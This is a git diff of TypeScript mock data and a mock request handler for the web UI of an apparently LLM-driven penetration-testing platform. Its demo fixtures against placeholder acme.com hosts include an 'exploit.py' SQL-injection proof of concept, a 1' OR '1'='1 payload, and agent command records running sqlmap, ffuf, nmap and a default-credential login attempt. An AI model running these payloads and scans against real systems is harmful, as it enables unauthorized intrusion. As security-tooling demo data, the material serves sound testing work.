in_scope: true, + asset_id: 5, + domain: "www.acme.com", + url: "https://www.acme.com", + port: 443, + page_title: "Acme 首页", + status_code: 200, + }, + { + key: "a:6", + kind: "endpoint", + label: "https://www.acme.com/search", + tested: true, + in_scope: true, + asset_id: 6, + url: "https://www.acme.com/search?q=", + domain: "www.acme.com", + }, + { + key: "a:7", + kind: "service", + label: "api.acme.com", + tested: true, + in_scope: true, + asset_id: 7, + domain: "api.acme.com", + url: "https://api.acme.com", + port: 443, + page_title: "API Gateway", + status_code: 401, + }, + { + key: "a:8", + kind: "endpoint", + label: "https://api.acme.com/v1/orders", + tested: false, + in_scope: true, + asset_id: 8, + url: "https://api.acme.com/v1/orders?id=", + domain: "api.acme.com", + }, + { + key: "a:9", + kind: "service", + label: "admin.acme.com", + tested: false, + in_scope: true, + asset_id: 9, + domain: "admin.acme.com", + url: "https://admin.acme.com", + port: 443, + page_title: "后台登录", + status_code: 200, + }, + { + key: "a:10", + kind: "ip", + label: "203.0.113.10", + tested: true, + in_scope: true, + asset_id: 10, + ip: "203.0.113.10", + company_id: 1, + }, ], edges: [ { src: "a:1", dst: "c:1" }, @@ -802,12 +3543,8 @@ export function assetRefsFor(_assetId: number) { { id: 12, kind: "intent", state: "done", summary: "对 www.acme.com 搜索接口做 SQL 注入探测" }, { id: 18, kind: "intent", state: "running", summary: "枚举 api.acme.com 的对象越权 (IDOR)" }, ], - facts: [ - { id: 34, kind: "fact", state: "confirmed", summary: "search?q= 参数可注入,报错回显 MySQL 语法错误" }, - ], - findings: [ - { id: 41, kind: "finding", state: "confirmed", summary: "[高] SQL 注入 www.acme.com/search?q=" }, - ], + facts: [{ id: 34, kind: "fact", state: "confirmed", summary: "search?q= 参数可注入,报错回显 MySQL 语法错误" }], + findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[高] SQL 注入 www.acme.com/search?q=" }], }; } @@ -816,15 +3553,31 @@ const WS_TREE: Record<string, { name: string; dir: boolean; size: number; conten "": [ { name: "t-001", dir: true, size: 0 }, { name: "transcripts", dir: true, size: 0 }, - { name: "notes.md", dir: false, size: 96, content: "# 工作区笔记\n\n(demo)这是工作空间根目录下的示例文件,可在线编辑并保存。\n" }, + { + name: "notes.md", + dir: false, + size: 96, + content: "# 工作区笔记\n\n(demo)这是工作空间根目录下的示例文件,可在线编辑并保存。\n", + }, ], "t-001": [ { name: "i12", dir: true, size: 0 }, { name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" }, ], "t-001/i12": [ - { name: "exploit.py", dir: false, size: 220, content: "#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n" }, - { name: "response.html", dir: false, size: 180, content: "<!-- (demo) 抓到的响应体片段 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n" }, + { + name: "exploit.py", + dir: false, + size: 220, + content: + "#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n", + }, + { + name: "response.html", + dir: false, + size: 180, + content: "<!-- (demo) 抓到的响应体片段 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n", + }, ], transcripts: [ { name: "exp1-worker-i12.jsonl", dir: false, size: 512, content: "(demo)原始 LLM 对话记录示例,此处省略。" }, @@ -860,19 +3613,121 @@ export function workspaceRead(path: string) { // ── 工具执行历史(/commands)── export const commandRecords = [ - { id: 1, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }), output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 搜索结果页 …</html>", is_error: false, created_at: T("2026-08-09T02:10:00Z") }, - { id: 2, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }), output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7", is_error: false, created_at: T("2026-08-09T02:12:30Z") }, - { id: 3, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }), output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]", is_error: false, created_at: T("2026-08-09T02:15:00Z") }, - { id: 4, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }), output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24", is_error: false, created_at: T("2026-08-09T02:18:00Z") }, - { id: 5, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }), output: "curl: (28) Operation timed out after 10000 ms", is_error: true, created_at: T("2026-08-09T02:20:00Z") }, + { + id: 1, + exploration_id: 1, + worker: "worker-1", + tool: "bash", + command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }), + output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 搜索结果页 …</html>", + is_error: false, + created_at: T("2026-08-09T02:10:00Z"), + }, + { + id: 2, + exploration_id: 1, + worker: "worker-1", + tool: "bash", + command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }), + output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7", + is_error: false, + created_at: T("2026-08-09T02:12:30Z"), + }, + { + id: 3, + exploration_id: 1, + worker: "worker-2", + tool: "bash", + command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }), + output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]", + is_error: false, + created_at: T("2026-08-09T02:15:00Z"), + }, + { + id: 4, + exploration_id: 1, + worker: "worker-2", + tool: "bash", + command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }), + output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24", + is_error: false, + created_at: T("2026-08-09T02:18:00Z"), + }, + { + id: 5, + exploration_id: 1, + worker: "worker-1", + tool: "bash", + command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }), + output: "curl: (28) Operation timed out after 10000 ms", + is_error: true, + created_at: T("2026-08-09T02:20:00Z"), + }, ]; // ── LLM 录制(/llm/records、/llm/records/{id})── export const llmRecords = [ - { id: 1, ts: T("2026-08-09T02:10:02Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i12", task_id: "t-001", worker: "worker-1", latency_ms: 3210, input_tokens: 8421, output_tokens: 512, cache_read: 6000, cache_write: 1200, status: "ok" }, - { id: 2, ts: T("2026-08-09T02:11:40Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-planner", task_id: "t-001", worker: "planner", latency_ms: 4180, input_tokens: 12044, output_tokens: 733, cache_read: 9000, cache_write: 1500, status: "ok" }, - { id: 3, ts: T("2026-08-09T02:15:20Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 2890, input_tokens: 7311, output_tokens: 421, cache_read: 5200, cache_write: 900, status: "ok" }, - { id: 4, ts: T("2026-08-09T02:16:05Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 900, input_tokens: 7600, output_tokens: 0, cache_read: 5200, cache_write: 0, status: "error", error: "429 Too Many Requests(已退避重试)" }, + { + id: 1, + ts: T("2026-08-09T02:10:02Z"), + model: "claude-opus-4-8", + profile_name: "默认", + session_id: "exp1-worker-i12", + task_id: "t-001", + worker: "worker-1", + latency_ms: 3210, + input_tokens: 8421, + output_tokens: 512, + cache_read: 6000, + cache_write: 1200, + status: "ok", + }, + { + id: 2, + ts: T("2026-08-09T02:11:40Z"), + model: "claude-opus-4-8", + profile_name: "默认", + session_id: "exp1-planner", + task_id: "t-001", + worker: "planner", + latency_ms: 4180, + input_tokens: 12044, + output_tokens: 733, + cache_read: 9000, + cache_write: 1500, + status: "ok", + }, + { + id: 3, + ts: T("2026-08-09T02:15:20Z"), + model: "claude-opus-4-8", + profile_name: "默认", + session_id: "exp1-worker-i18", + task_id: "t-001", + worker: "worker-2", + latency_ms: 2890, + input_tokens: 7311, + output_tokens: 421, + cache_read: 5200, + cache_write: 900, + status: "ok", + }, + { + id: 4, + ts: T("2026-08-09T02:16:05Z"), + model: "claude-opus-4-8", + profile_name: "默认", + session_id: "exp1-worker-i18", + task_id: "t-001", + worker: "worker-2", + latency_ms: 900, + input_tokens: 7600, + output_tokens: 0, + cache_read: 5200, + cache_write: 0, + status: "error", + error: "429 Too Many Requests(已退避重试)", + }, ]; // Distinct tasks with counts, derived from llmRecords above (task picker). @@ -880,17 +3735,15 @@ const llmTaskCounts: Record<string, number> = {}; for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1; export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count })); -export function llmRecordDetail(id: number) { - const item = llmRecords.find((r) => r.id === id) ?? llmRecords[0]; +export function llmRecordDetail(id: number, records = llmRecords) { + const item = records.find((r) => r.id === id) ?? records[0]; return { ...item, request_body: JSON.stringify( { model: item.model, system: "你是一个授权渗透测试系统的「执行者」…(省略)", - messages: [ - { role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }, - ], + messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }], tools: ["bash", "insert_assets", "record_fact", "report_finding"], }, null, diff --git a/web/src/lib/mock/handler.ts b/web/src/lib/mock/handler.ts index 0f2e924..cb3e260 100644 --- a/web/src/lib/mock/handler.ts +++ b/web/src/lib/mock/handler.ts @@ -2,31 +2,83 @@ // 未命中的一律返回安全默认([] / {} / {ok:true}),保证任何页面都不崩。 // 只在 NEXT_PUBLIC_MOCK=1 时经由 api.ts 的 http() 短路进入这里。 +import { + classifyCompanyScopeLine, + companyScopeRuleError, + isCompanyScopeKind, + MAX_COMPANY_SCOPE_RULES, + normalizeCompanyScopeValue, +} from "../company-scope"; +import type { + Asset, + BatchControlItem, + Company, + CompanyScopeRule, + Conversation, + IntentAsset, + ScopeRow, + Task, + TaskAssetMutation, + TaskAssetScopeMutation, + TaskCategory, + TaskLLMResolution, + TaskScopeRow, + TaskTemplate, +} from "../types"; import * as D from "./data"; const delay = (ms = 120) => new Promise((r) => setTimeout(r, ms)); -<<<<<<< Updated upstream -======= // Requests mutate a runtime copy, never the exported fixtures. This keeps module // initialization deterministic for tests/HMR while preserving state across mock calls. const mockTasks = structuredClone(D.tasks); const mockFindings = structuredClone(D.findings); const mockLLMRecords = structuredClone(D.llmRecords); const mockTaskTemplates = structuredClone(D.taskTemplates); +const mockTaskCategories = structuredClone(D.taskCategories); const mockConversations = structuredClone(D.conversations); const mockIntents = structuredClone(D.intents); const mockCompanies = structuredClone(D.companies); const mockAssets = structuredClone(D.assets); +const mockTaskAssetIDs = new Map(D.tasks.map((task, index) => [task.id, index + 1])); +const mockTaskScopes = new Map<string, TaskScopeRow[]>(); +let nextMockTaskAssetID = D.tasks.length + 1; let mockActiveTask = D.ACTIVE_TASK; -function mockAssetCounts(): Record<string, number> { +function mockTaskAssetID(taskID: string): number | undefined { + const numeric = Number(taskID); + if (Number.isInteger(numeric) && numeric > 0) return numeric; + return mockTaskAssetIDs.get(taskID); +} + +function mockAssetCounts(taskID?: string | null): Record<string, number> { + const numericTaskID = taskID ? mockTaskAssetID(taskID) : undefined; return mockAssets.reduce<Record<string, number>>((counts, asset) => { + if (taskID && (numericTaskID === undefined || !asset.task_ids.includes(numericTaskID))) return counts; counts[asset.type] = (counts[asset.type] ?? 0) + 1; return counts; }, {}); } +function mockAssetMatchesDSL(asset: Asset, dsl: string): boolean { + const query = dsl + .replaceAll(/[()"]/g, " ") + .replaceAll(/\b(?:AND|OR)\b/gi, " ") + .replaceAll(/\b[a-z_][a-z0-9_]*(?:==|!=|>=|<=|=|>|<)/gi, " ") + .trim() + .toLowerCase(); + if (!query) return true; + const haystack = JSON.stringify(asset).toLowerCase(); + return query.split(/\s+/).every((term) => haystack.includes(term)); +} + +function mockTaskCategorySnapshot(): TaskCategory[] { + return mockTaskCategories.map((category) => ({ + ...category, + task_count: mockTasks.filter((task) => task.category_id === category.id).length, + })); +} + function mockScopeRows( companyID: number, input: unknown, @@ -188,7 +240,6 @@ function normalizedTemplateName(value: unknown): string { .join(" "); } ->>>>>>> Stashed changes function parseBody(body?: BodyInit | null): Record<string, unknown> { if (typeof body !== "string") return {}; try { @@ -217,13 +268,6 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (path === "/auth/change-password") return { ok: true }; // ── tasks ── -<<<<<<< Updated upstream - if (path === "/tasks" && m === "GET") return { tasks: D.tasks, active: D.ACTIVE_TASK }; - if (path === "/tasks" && m === "POST") - return { ...D.tasks[0], id: "t-new", description: String(b.description ?? "新任务"), goal: String(b.goal ?? ""), status: "created" }; - if (seg[0] === "tasks" && seg.length === 2 && m === "DELETE") return { deleted: 1 }; - if (seg[0] === "tasks" && seg[2] === "control") return { id: seg[1], paused: b.action === "pause" }; -======= if (path === "/tasks" && m === "GET") return { tasks: mockTasks, active: mockActiveTask }; if (path === "/tasks" && m === "POST") { let suffix = 1; @@ -233,9 +277,14 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re const profileIDs = [...((b.llm_profile_ids as number[] | undefined) ?? [])]; const sourceTaskIDs = [...((b.source_task_ids as string[] | undefined) ?? [])]; const companyIDs = [...((b.company_ids as number[] | undefined) ?? [])]; + const categoryID = typeof b.category_id === "number" ? b.category_id : undefined; + const category = categoryID === undefined ? undefined : mockTaskCategories.find((item) => item.id === categoryID); + if (categoryID !== undefined && !category) throw new Error("任务分类不存在"); const created: Task = { id, name: String(b.name ?? ""), + category_id: category?.id, + category_name: category?.name, description: String(b.description ?? "新任务"), goal: String(b.goal ?? ""), status: "created", @@ -256,11 +305,67 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re source_task_ids: sourceTaskIDs, company_ids: companyIDs, }; + mockTaskAssetIDs.set(id, nextMockTaskAssetID++); for (const item of mockTasks) item.active = false; mockTasks.unshift(created); mockActiveTask = id; return created; } + if (path === "/task-categories" && m === "GET") return { categories: mockTaskCategorySnapshot() }; + if (path === "/task-categories" && m === "POST") { + const name = normalizedTemplateName(b.name); + if (!name) throw new Error("分类名称不能为空"); + if (mockTaskCategories.some((category) => category.name.toLowerCase() === name.toLowerCase())) { + throw new Error("分类名称已存在"); + } + const now = new Date().toISOString(); + const category: TaskCategory = { + id: mockTaskCategories.reduce((maximum, item) => Math.max(maximum, item.id), 0) + 1, + name, + task_count: 0, + created_at: now, + updated_at: now, + }; + mockTaskCategories.push(category); + return category; + } + if (seg[0] === "task-categories" && seg.length === 2 && m === "PATCH") { + const category = mockTaskCategories.find((item) => item.id === Number(seg[1])); + if (!category) throw new Error("任务分类不存在"); + const name = normalizedTemplateName(b.name); + if (!name) throw new Error("分类名称不能为空"); + if (mockTaskCategories.some((item) => item.id !== category.id && item.name.toLowerCase() === name.toLowerCase())) { + throw new Error("分类名称已存在"); + } + category.name = name; + category.updated_at = new Date().toISOString(); + for (const task of mockTasks) { + if (task.category_id === category.id) task.category_name = name; + } + return { ...category, task_count: mockTasks.filter((task) => task.category_id === category.id).length }; + } + if (seg[0] === "task-categories" && seg.length === 2 && m === "DELETE") { + const categoryID = Number(seg[1]); + const index = mockTaskCategories.findIndex((item) => item.id === categoryID); + if (index < 0) throw new Error("任务分类不存在"); + mockTaskCategories.splice(index, 1); + for (const task of mockTasks) { + if (task.category_id !== categoryID) continue; + task.category_id = undefined; + task.category_name = undefined; + } + return { deleted: categoryID }; + } + if (seg[0] === "tasks" && seg[2] === "category" && seg.length === 3 && m === "PATCH") { + const task = mockTasks.find((item) => item.id === seg[1]); + if (!task) throw new Error("任务不存在"); + const categoryID = typeof b.category_id === "number" ? b.category_id : undefined; + const category = categoryID === undefined ? undefined : mockTaskCategories.find((item) => item.id === categoryID); + if (categoryID !== undefined && !category) throw new Error("任务分类不存在"); + task.category_id = category?.id; + task.category_name = category?.name; + return task; + } if (path === "/task-templates" && m === "GET") return { templates: mockTaskTemplates }; if (path === "/task-templates" && m === "POST") { const now = new Date().toISOString(); @@ -316,6 +421,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re const id = seg[1]; const index = mockTasks.findIndex((item) => item.id === id); if (index >= 0) mockTasks.splice(index, 1); + mockTaskAssetIDs.delete(id); let findingsDeleted = 0; if (b.delete_findings) { @@ -423,71 +529,373 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re return { id: seg[1], paused: Boolean(task?.paused), queued: Boolean(task?.queued), status: task?.status ?? "" }; } if (seg[0] === "tasks" && seg[2] === "chat" && seg[3] === "status") return { running: false }; ->>>>>>> Stashed changes if (seg[0] === "tasks" && seg[2] === "chat" && seg[3] === "stop") return { status: "stopped" }; - if (path === "/active") return { active: String(b.id ?? D.ACTIVE_TASK) }; + if (path === "/active") { + const id = String(b.id ?? mockActiveTask); + if (mockTasks.some((item) => item.id === id)) { + mockActiveTask = id; + for (const item of mockTasks) item.active = item.id === id; + } + return { active: mockActiveTask }; + } // ── 覆盖度 / 覆盖图 / 资产关联(任务维度)── if (seg[0] === "tasks" && seg[2] === "coverage" && seg.length === 3) return D.coverage; if (seg[0] === "tasks" && seg[2] === "coverage-graph") return D.coverageGraph; if (seg[0] === "tasks" && seg[2] === "asset-refs") return D.assetRefsFor(Number(q.get("asset_id") ?? 0)); + // ── 任务测试范围(增删查)── + if (seg[0] === "tasks" && seg[2] === "scope" && seg.length === 3 && m === "GET") { + return { scope: mockTaskScopes.get(seg[1]) ?? [] }; + } + if (seg[0] === "tasks" && seg[2] === "scope" && seg.length === 3 && m === "POST") { + const current = mockTaskScopes.get(seg[1]) ?? []; + const kind = String(b.kind ?? "") as TaskScopeRow["kind"]; + const value = String(b.value ?? "").trim(); + const row: TaskScopeRow = { + id: Date.now(), + task_id: mockTaskAssetID(seg[1]) ?? Number(seg[1]), + kind, + source: "manual", + }; + if (kind === "root_domain" || kind === "subdomain") row.domain = value; + else if (kind === "ip" || kind === "cidr") row.net = value; + else row.value = value; + mockTaskScopes.set(seg[1], [...current, row]); + return row; + } + if (seg[0] === "tasks" && seg[2] === "scope" && seg.length === 4 && m === "DELETE") { + const id = Number(seg[3]); + mockTaskScopes.set( + seg[1], + (mockTaskScopes.get(seg[1]) ?? []).filter((row) => row.id !== id), + ); + return { ok: true }; + } + + // ── 全局 llm_usage 聚合(仪表盘新版视图,demo)── + if (path === "/tokens/usage") + return { + by_profile: [ + { + profile_name: "default", + calls: 60, + tasks: 4, + input_tokens: 1570000, + output_tokens: 110000, + cache_read_tokens: 1120000, + cache_write_tokens: 140000, + }, + ], + daily: [ + { + profile_name: "default", + date: "2026-08-18", + input_tokens: 520000, + output_tokens: 38000, + cache_read_tokens: 370000, + }, + { + profile_name: "default", + date: "2026-08-19", + input_tokens: 640000, + output_tokens: 45000, + cache_read_tokens: 460000, + }, + { + profile_name: "default", + date: "2026-08-20", + input_tokens: 410000, + output_tokens: 27000, + cache_read_tokens: 290000, + }, + ], + }; + + // ── 按模型 token 用量(demo:一条示例)── + if (path === "/llm/records/by-model") + return { + models: [ + { + model: "claude-opus-4-6", + calls: 42, + input_tokens: 1250000, + output_tokens: 86000, + cache_read_tokens: 940000, + cache_write_tokens: 120000, + }, + { + model: "claude-haiku-4-5", + calls: 18, + input_tokens: 320000, + output_tokens: 24000, + cache_read_tokens: 180000, + cache_write_tokens: 20000, + }, + ], + }; + // ── 工作空间文件管理器(demo:静态示例树;写/建/删走下方写兜底 {ok:true})── if (path === "/workspace/list") return D.workspaceList(q.get("path") ?? ""); if (path === "/workspace/read") return D.workspaceRead(q.get("path") ?? ""); // ── stats ── - if (path === "/stats") return D.stats(task); + if (path === "/stats") { + return D.stats(task, { tasks: mockTasks, findings: mockFindings, activeTask: mockActiveTask }); + } // ── assets ── - if (path === "/assets/counts") return D.assetCounts; + if (path === "/assets/counts") return mockAssetCounts(q.get("task_id")); if (path === "/assets" && m === "GET") { const type = q.get("type") ?? ""; - const list = type ? D.assets.filter((a) => a.type === type) : D.assets; + const taskID = q.get("task_id"); + const numericTaskID = taskID ? mockTaskAssetID(taskID) : undefined; + const dsl = q.get("dsl") ?? ""; + const list = mockAssets.filter((asset) => { + if (type && asset.type !== type) return false; + if (taskID && (numericTaskID === undefined || !asset.task_ids.includes(numericTaskID))) return false; + return !dsl || mockAssetMatchesDSL(asset, dsl); + }); const limit = Number(q.get("limit") ?? 50); const offset = Number(q.get("offset") ?? 0); - return { count: list.length, total: list.length, assets: list.slice(offset, offset + limit) }; + const page = list.slice(offset, offset + limit); + return { count: page.length, total: list.length, assets: page }; + } + if (path === "/assets" && m === "DELETE") { + const ids = new Set(Array.isArray(b.ids) ? b.ids.map(Number) : []); + let deleted = 0; + for (let index = mockAssets.length - 1; index >= 0; index--) { + if (!ids.has(mockAssets[index].id)) continue; + mockAssets.splice(index, 1); + deleted++; + } + return { deleted }; + } + if (seg[0] === "tasks" && seg[2] === "assets" && seg.length === 3 && m === "POST") { + const task = mockTasks.find((item) => item.id === seg[1]); + const numericTaskID = mockTaskAssetID(seg[1]); + if (!task || numericTaskID === undefined) throw new Error("任务不存在"); + if (Array.isArray(b.scope)) { + if (b.scope.length === 0 || b.scope.length > MAX_COMPANY_SCOPE_RULES) throw new Error("请填写有效测试范围"); + const rules: CompanyScopeRule[] = b.scope.map((candidate, index) => { + if (typeof candidate === "string") { + const issue = classifyCompanyScopeLine(candidate, index + 1); + if (!issue.rule || issue.error) throw new Error(`第 ${index + 1} 条范围无效:${issue.error ?? "无法识别"}`); + return issue.rule; + } + const item = candidate as { kind?: unknown; value?: unknown }; + const value = String(item?.value ?? "").trim(); + const rule = + item?.kind && isCompanyScopeKind(item.kind) + ? { kind: item.kind, value } + : classifyCompanyScopeLine(value, index + 1).rule; + const error = rule ? companyScopeRuleError(rule) : "无法识别"; + if (!rule || error) throw new Error(`第 ${index + 1} 条范围无效:${error}`); + return rule; + }); + const mutation: TaskAssetScopeMutation = { + requested: rules.length, + assets_linked: 0, + assets_existing: 0, + scopes_added: 0, + scopes_existing: 0, + }; + const currentScopes = mockTaskScopes.get(seg[1]) ?? []; + const scopeKeys = new Set( + currentScopes.map((row) => `${row.kind}|${row.domain ?? row.net ?? row.value ?? row.company_id ?? ""}`), + ); + for (const rule of rules) { + const normalized = normalizeCompanyScopeValue(rule); + const scope: TaskScopeRow = { + id: Date.now() + currentScopes.length, + task_id: numericTaskID, + kind: rule.kind === "domain" ? "root_domain" : rule.kind, + source: "manual", + reason: "用户在测试资产页手工新增", + }; + if (rule.kind === "domain") scope.domain = normalized; + else if (rule.kind === "ip") scope.net = `${normalized}/${normalized.includes(":") ? 128 : 32}`; + else if (rule.kind === "cidr") scope.net = normalized; + else scope.value = normalized; + const scopeKey = `${scope.kind}|${scope.domain ?? scope.net ?? scope.value ?? ""}`; + if (scopeKeys.has(scopeKey)) mutation.scopes_existing++; + else { + scopeKeys.add(scopeKey); + currentScopes.push(scope); + mutation.scopes_added++; + } + + if (rule.kind !== "domain" && rule.kind !== "ip") continue; + const type = rule.kind === "domain" ? "root_domain" : "ip"; + let asset = mockAssets.find((item) => + type === "root_domain" + ? item.type === type && item.domain === normalized + : item.type === type && item.ip === normalized, + ); + const alreadyLinked = asset?.task_ids.includes(numericTaskID) ?? false; + if (!asset) { + const nextID = mockAssets.reduce((max, item) => Math.max(max, item.id), 0) + 1; + asset = { + id: nextID, + type, + task_ids: [], + ...(type === "root_domain" ? { domain: normalized, root_domain: normalized } : { ip: normalized }), + last_seen: new Date().toISOString(), + }; + mockAssets.push(asset); + } + if (alreadyLinked) mutation.assets_existing++; + else { + asset.task_ids.push(numericTaskID); + mutation.assets_linked++; + } + asset.task_source = "manual"; + asset.task_source_summary = "用户在测试资产页手工新增"; + asset.task_source_node_id = undefined; + } + mockTaskScopes.set(seg[1], currentScopes); + return mutation; + } + const ids = [...new Set(Array.isArray(b.asset_ids) ? b.asset_ids.map(Number) : [])]; + const sourceSummary = String(b.source_summary ?? "").trim(); + if (ids.length === 0 || ids.length > 100 || !sourceSummary) throw new Error("请选择资产并填写来源说明"); + const requestedAssets = ids.map((id) => mockAssets.find((asset) => asset.id === id)); + if (requestedAssets.some((asset) => !asset)) throw new Error("资产不存在"); + const mutation: TaskAssetMutation = { requested: ids.length, attached: 0, existing: 0 }; + for (const asset of requestedAssets) { + if (!asset) continue; + if (asset.task_ids.includes(numericTaskID)) mutation.existing++; + else { + asset.task_ids.push(numericTaskID); + mutation.attached++; + } + asset.task_source = "manual"; + asset.task_source_summary = sourceSummary; + asset.task_source_node_id = undefined; + } + return mutation; + } + if (seg[0] === "tasks" && seg[2] === "assets" && seg.length === 4 && m === "DELETE") { + const numericTaskID = mockTaskAssetID(seg[1]); + const asset = mockAssets.find((item) => item.id === Number(seg[3])); + if (numericTaskID === undefined || !asset) throw new Error("任务或资产不存在"); + if (!asset.task_ids.includes(numericTaskID)) throw new Error("资产未关联当前任务"); + asset.task_ids = asset.task_ids.filter((id) => id !== numericTaskID); + if (asset.task_ids.length === 0) { + asset.task_source = undefined; + asset.task_source_summary = undefined; + asset.task_source_node_id = undefined; + } + return { detached: asset.id }; + } + if (seg[0] === "tasks" && seg[2] === "intent-assets" && seg.length === 3 && m === "GET") { + let mappings: Array<{ intentID: string; assetID: number; summary: string }> = []; + if (seg[1] === "t-acme-web") { + mappings = [ + { intentID: "i3", assetID: 6, summary: "后台功能枚举意图从前序子域发现中选定" }, + { intentID: "i5", assetID: 3, summary: "订单接口测试意图从 API 任务目标中选定" }, + ]; + } else if (seg[1] === "t-acme-api") { + mappings = [{ intentID: "i5", assetID: 3, summary: "订单接口测试意图从 API 任务目标中选定" }]; + } + const sourceTaskID = mockTaskAssetID(seg[1]) ?? 0; + const assets: IntentAsset[] = mappings.flatMap((mapping) => { + const asset = mockAssets.find((item) => item.id === mapping.assetID); + if (!asset) return []; + return [ + { + intent_id: mapping.intentID, + asset_id: asset.id, + type: asset.type, + label: asset.domain ?? asset.ip ?? asset.app_name ?? asset.url ?? asset.service_name ?? `#${asset.id}`, + source: asset.task_source ?? "agent", + source_summary: asset.task_source_summary ?? mapping.summary, + source_node_id: asset.task_source_node_id, + source_task_id: sourceTaskID, + inherited: false, + }, + ]; + }); + return { assets }; } - if (path === "/assets" && m === "DELETE") return { deleted: (b.ids as unknown[])?.length ?? 0 }; // ── companies ── - if (path === "/companies" && m === "GET") return D.companies; - if (path === "/companies" && m === "POST") return { id: 2, created: true, scope_added: 0 }; - if (seg[0] === "companies" && seg[2] === "scope") return { added: 0, skipped: 0, invalid: 0 }; - if (seg[0] === "companies" && seg.length === 2 && m === "DELETE") return { deleted: 1, assets_deleted: 0 }; + if (path === "/companies" && m === "GET") return structuredClone(mockCompanies); + if (path === "/companies" && m === "POST") { + const name = String(b.name ?? "").trim(); + if (!name) throw new Error("企业名称不能为空"); + if (mockCompanies.some((company) => company.name.toLowerCase() === name.toLowerCase())) { + throw new Error("企业已存在"); + } + const id = mockCompanies.reduce((max, company) => Math.max(max, company.id), 0) + 1; + const scopeResult = mockScopeRows(id, b.scope); + const company: Company = { id, name, asset_count: 0, scope: scopeResult.rows }; + mockCompanies.push(company); + return { + id, + created: true, + scope_added: scopeResult.rows.length, + scope_skipped: scopeResult.skipped, + scope_invalid: scopeResult.invalid, + }; + } + if (seg[0] === "companies" && seg[2] === "scope" && m === "POST") { + const company = mockCompanies.find((item) => item.id === Number(seg[1])); + if (!company) throw new Error("企业不存在"); + const reset = b.reset === true; + const scopeResult = mockScopeRows(company.id, b.scope, reset ? [] : (company.scope ?? [])); + if (reset && scopeResult.invalid > 0) throw new Error("企业范围包含无效规则,未覆盖原有范围"); + company.scope = reset ? scopeResult.rows : [...(company.scope ?? []), ...scopeResult.rows]; + return { added: scopeResult.rows.length, skipped: scopeResult.skipped, invalid: scopeResult.invalid }; + } + if (seg[0] === "companies" && seg.length === 2 && m === "DELETE") { + const id = Number(seg[1]); + const index = mockCompanies.findIndex((item) => item.id === id); + if (index < 0) throw new Error("企业不存在"); + mockCompanies.splice(index, 1); + let assetsDeleted = 0; + for (let assetIndex = mockAssets.length - 1; assetIndex >= 0; assetIndex--) { + const asset: Asset = mockAssets[assetIndex]; + if (asset.company_id !== id) continue; + if (b.delete_assets === true) { + mockAssets.splice(assetIndex, 1); + assetsDeleted++; + } else { + delete asset.company_id; + } + } + return { deleted: 1, assets_deleted: assetsDeleted }; + } // ── exploration ── if (path === "/exploration/frontier") return D.frontier; if (path === "/exploration/findings/stats") { - const vulnclasses = Array.from(new Set(D.findings.map((f) => f.vulnclass))).sort(); + const vulnclasses = Array.from(new Set(mockFindings.map((f) => f.vulnclass))).sort(); // 「按任务」下拉:有漏洞的任务 + 描述 + 条数(mock 任务 id 是字符串,直接当 id 用)。 -<<<<<<< Updated upstream - const taskMap = new Map<string, { description: string; count: number }>(); - for (const f of D.findings) { -======= const taskMap = new Map<string, { name: string; description: string; count: number 